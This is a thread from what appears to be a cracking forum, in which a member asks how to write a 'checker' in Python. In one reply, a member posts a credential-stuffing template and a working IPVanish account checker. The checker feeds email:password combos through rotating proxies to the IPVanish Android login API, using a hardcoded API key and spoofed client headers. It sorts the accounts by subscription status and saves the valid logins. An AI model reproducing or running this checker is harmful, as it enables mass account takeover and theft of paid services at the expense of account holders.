Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!



   829

How can I make a checker using python

by Psycopathz - 23 March, 2024 - 03:48 PM
This post is by a banned member (Psycopathz) - Unhide
679
Posts
103
Threads
2 Years of service
#1
Does anyone have tutorials or something.
This post is by a banned member (Empire) - Unhide
This post is by a banned member (Psycopathz) - Unhide
679
Posts
103
Threads
2 Years of service
#3
(24 March, 2024 - 08:28 PM)Empire Wrote: Show More
I have seen a couple open source checkers on this forum, just look it up and try to replicate.

Aight Ill check em out.
                                               [Image: 6cemrbF.gif]                                                




 

 
Selling Signature Spot Dm me on discord cxlvxn.
                                                            
This post is by a banned member (sskintvv) - Unhide
sskintvv  
Registered
48
Posts
0
Threads
1 Year of service
#4
(This post was last modified: 25 May, 2024 - 03:16 PM by sskintvv.)
import functools
from requests import Session
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry

# - Checker (class or object with attributes: stopping, timeout, retries, bad, good, custom, cui, time, errors)
# - set_proxy (function to set proxy settings)
# - return_proxy (function to return proxy to the pool)
# - bad_proxy (function to mark a proxy as bad)
# - log (function for logging)
# - save (function to save the results)

def check(email: str, password: str):
    while not Checker.stopping:
        try:
            with Session() as s:
                proxy = set_proxy()
                proxy_set = set_proxy(proxy)

                s.request = functools.partial(s.request, timeout=Checker.timeout)
                s.proxies.update(proxy_set)
                retries = Retry(total=Checker.retries, backoff_factor=0.1)
                s.mount('http://', HTTPAdapter(max_retries=retries))
                s.mount('https://', HTTPAdapter(max_retries=retries))

                # Bad
                # Checker.bad += 1
                # return_proxy(proxy)
                # return

                # Good
                # if not Checker.cui: log("good", ':'.join([email, password]), "NAME")
                # save("NAME", "good", Checker.time, ':'.join([email, password]) + f"CAPTURE")
                # Checker.good += 1
                # return_proxy(proxy)
                # return

                # Custom
                # if not Checker.cui: log("custom", ":".join([email, password]), "NAME")
                # save("NAME", "custom", Checker.time, ":".join([email, password]))
                # Checker.custom += 1
                # return_proxy(proxy)
                # return

        except Exception as e:
            bad_proxy(proxy)
            return_proxy(proxy)
            Checker.errors += 1
            # Optionally log the error
            print(f"Error: {e}")

ip vanish checker

import functools
from uuid import uuid4
from datetime import datetime
from requests import Session
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry

def check(email:str,password:str):
    while not Checker.stopping:
        try:
            proxy = set_proxy()
            proxy_set = set_proxy(proxy)

            with Session() as s:
                s.request = functools.partial(s.request, timeout=Checker.timeout)
                s.proxies.update(proxy_set)
                retries = Retry(total=Checker.retries, backoff_factor=0.1)
                s.mount('http://', HTTPAdapter(max_retries=retries))
                s.mount('https://', HTTPAdapter(max_retries=retries))

                data = {
                    "api_key": "15cb936e6d19cd7db1d6f94b96017541",
                    "client": f"Android-3.4.6.7.{get_number(100000000,1000000000)}",
                    "os": "30",
                    "password": password,
                    "username": email,
                    "uuid": str(uuid4())
                }
                headers = {
                    "Content-Type": "application/json",
                    "X-Client": "ipvanish",
                    "X-Client-Version": "1.2.",
                    "X-Platform": "Android",
                    "Connection": "Keep-Alive",
                    "User-Agent": "okhttp/3.12.0",
                    "Accept-Encoding": "gzip, deflate"
                }
                response = s.post("https://api.ipvanish.com/api/v3/login",json=data, headers=headers)
                if "The username or password provided is incorrect" in response.text or "failed attempts" in response.text:
                    Checker.bad += 1
                    return_proxy(proxy)
                    return
                elif "account_type" not in response.text:
                    raise

                expiry = datetime.utcfromtimestamp(response.json()["sub_end_epoch"]).strftime('%Y-%m-%d')
                expire = int(datetime.utcfromtimestamp(response.json()["sub_end_epoch"]).strftime('%Y%m%d'))
                now_time = int(datetime.now().strftime('%Y%m%d'))
                if now_time > expire:
                    Checker.custom += 1
                    return_proxy(proxy)
                    if not Checker.cui: log("custom",":".join([email,password]),"Ipvanish")
                    save("Ipvanish","custom",Checker.time,":".join([email,password]))
                    return
                else:
                    Checker.good += 1
                    return_proxy(proxy)
                    if not Checker.cui: log("good",":".join([email,password]),"Ipvanish")
                    save("Ipvanish","good",Checker.time,":".join([email,password])+f" | Expire: {expiry}")
                    return
        except:
            bad_proxy(proxy)
            return_proxy(proxy)
            Checker.errors += 1
This post is by a banned member (EMON341529) - Unhide
30
Posts
0
Threads
1 Year of service
#5
Checked As Of April 2023
{ Content In Hidden Link Below
This post is by a banned member (Kahinzakho11) - Unhide
177
Posts
0
Threads
1 Year of service
#6
(23 March, 2024 - 03:48 PM)Psycopathz Wrote: Show More
Does anyone have tutorials or something.

Yooyoyoyoyoyoyo

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 1 Guest(s)